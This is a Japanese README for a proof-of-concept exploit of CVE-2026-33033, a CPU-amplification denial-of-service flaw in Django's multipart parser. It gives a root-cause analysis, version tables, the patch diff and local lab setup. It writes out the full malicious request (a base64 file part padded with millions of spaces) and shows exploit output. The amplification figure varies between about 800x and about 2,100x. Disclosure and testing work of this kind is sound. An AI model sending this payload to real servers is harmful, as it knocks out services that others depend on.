
CVE-2026-33033の概念実証エクスプロイト。DjangoのMultiPartParserにおけるbase64空白文字によるCPU増幅を介したサービス拒否(DoS)脆弱性であり、単一のHTTPリクエストで約800倍の増幅を実証します。
DjangoのMultiPartParserにおけるbase64空白文字によるCPU増幅を利用したサービス拒否攻撃
わずか2.5 MBのHTTPリクエスト1つで、Djangoワーカーを約5秒間占有させることができ、同じサイズの通常リクエストと比較して約2,100倍のCPU増幅を達成します。認証は不要です。
この脆弱性はDjango 6.0.4セキュリティリリース(2026年4月7日)で修正され、サポートされているすべてのブランチにバックポートされました。
| ブランチ | 影響あり | 修正済み |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033: base64エンコードされたファイルアップロードによる
MultiPartParserのサービス拒否攻撃の可能性(深刻度: 中)
django.http.multipartparser.MultiPartParserを使用する場合、過剰な空白文字を含むContent-Transfer-Encoding: base64のマルチパートアップロードは、繰り返しのメモリコピーを引き起こし、パフォーマンスを低下させる可能性があります。
| CVE | 深刻度 | 説明 |
|---|---|---|
| CVE-2026-3902 | 低 | アンダースコア/ハイフンの混同によるASGIヘッダースプーフィング |
| CVE-2026-4277 | 低 | GenericInlineModelAdminにおける権限の悪用 |
| CVE-2026-4292 | 低 | ModelAdmin.list_editableにおける権限の悪用 |
| CVE-2026-33034 | 低 | Content-Length欠落によるASGIメモリアップロード制限の回避 |
DjangoのMultiPartParserには、Content-Transfer-Encoding: base64を持つファイルパートを処理するための特別なコードパスがあります。各チャンクから空白文字を除去した後、結果が4バイトの倍数に整列されていない場合、whileループがfield_stream.read(1)を呼び出して追加のバイトを1バイトずつ取得します。
ファイル本体がほぼすべて空白文字である場合、取得された各バイトは除去されて何も残らないため、ループは継続し、空白文字1バイトごとにread(1)を1回呼び出します。重要な点は、各read(1)が見た目よりもはるかに高コストであることです:
レイヤー1: base64整列ループが空白文字バイトごとにread(1)を呼び出す
|
レイヤー2: LazyStream.read(1)が残りの全体(約64 KB)を取得し、1バイトをスライスし、
約64 KB - 1をungetする --> 呼び出しごとにO(C)バイトコピー
|
レイヤー3: unget()が self._leftover = bytes + self._leftover を実行
毎回新しいbytesオブジェクトを作成 --> 約Cバイトのmemcpy
64 KBチャンクごとに、コピー処理は等差数列を形成します:
合計 = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 21.5億バイト操作
2.5 MBの入力(約40チャンク)の場合: 単一のHTTPリクエストから約860億バイトのmemcpy処理が発生します。
Djangoには_update_unget_history()が含まれており、50回の操作で同じバイト数が40回以上ungetされた場合にSuspiciousMultipartFormを発生させます。しかし、この攻撃ではungetサイズが単調減少(65535、65534、65533、...)するため、すべてのサイズが一意であり、チェックは決して発動しません。
CSRFミドルウェアはビューが実行される前にrequest.POSTにアクセスするため、403を返すエンドポイントでも完全なパースコストが発生します。
CVE-2026-33033-PoC/
├── README.md # このファイル
├── LICENSE
├── requirements.txt # Python依存関係
├── exploit.py # エクスプロイトスクリプト
└── victim/ # 脆弱なDjangoサーバー
├── manage.py
├── uwsgi.ini # uWSGIデプロイ設定
└── victim/
├── __init__.py
├── settings.py # Djangoデフォルト(特別な設定は不要)
├── urls.py # /uploadおよび/healthエンドポイント
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
オプションA: Django開発サーバー(最速)
cd victim
python manage.py runserver 0.0.0.0:8000
オプションB: uWSGI(より現実的 — 4ワーカーを使用)
cd victim
uwsgi --ini uwsgi.ini
別のターミナルで:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
オプション:
| フラグ | デフォルト | 説明 |
|---|---|---|
--target | http://127.0.0.1:8000/upload | ターゲットのアップロードエンドポイント |
--size | 2621440 (2.5 MB) | ペイロードサイズ(バイト単位) |
--rounds | 3 | 攻撃ラウンド数 |
============================================================
CVE-2026-33033 PoC
Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser
============================================================
Target: http://127.0.0.1:8000/upload
Payload size: 2,621,440 bytes (2.5 MB)
Rounds: 3
[*] Checking server health...
[+] Server is up.
------------------------------------------------------------
[*] Phase 1: Sending BENIGN request (normal base64 data)
------------------------------------------------------------
Status: 200
Time: 5.55 ms
------------------------------------------------------------
[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)
------------------------------------------------------------
Round 1/3:
Status: 200
Time: 4571.12 ms
...
============================================================
RESULTS
============================================================
Benign request: 5.55 ms
Attack average: 4571.12 ms (over 3 rounds)
Amplification: 823x
[!] VULNERABLE: Average attack time exceeds 1 second.
A single 2.5 MB request ties up a worker for ~4.6s.
With 4 workers, just 4 concurrent requests can DoS the server.
エクスプロイトは、単一のファイルパートを持つmultipart/form-data POSTボディを構築します:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2,621,433 spaces>A
------CVE2026-33033--
AAAによりstripped_chunk = b"AAA"(3バイト)となり、remaining = 3 % 4 = 3になります。field_stream.read(1)を呼び出して整列用に1バイト追加で取得します。b"".join(b" ".split()) == b"")、remaining = 3のままです。LazyStream.read(1)は内部でungetメカニズムにより約64 KBをコピーします。django/http/multipartparser.py、302-325行目(Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # strips to empty
remaining = len(stripped_chunk) % 4 # stays at 3
修正(Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29で適用)では、バイト単位のread(1)ループを一括のread(self._chunk_size)に置き換えます:
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
主な変更点:
read(4 - remaining) → read(self._chunk_size) — 1〜3バイトではなく一度に64 KBを読み取り、read呼び出しを約250万回から約40回に削減。stripped_chunk += ... → stripped_parts.append(...) + 最後のb"".join() — 潜在的な2次関数的バイト連結を回避。len(stripped_chunk) % 4 → stripped_lengthカウンター — 冗長な長さの再計算を回避。この概念実証は、教育および許可されたセキュリティテスト目的のみで提供されています。責任を持って、所有しているシステムまたは明示的なテスト許可があるシステムに対してのみ使用してください。
Apache License 2.0 — LICENSEを参照してください。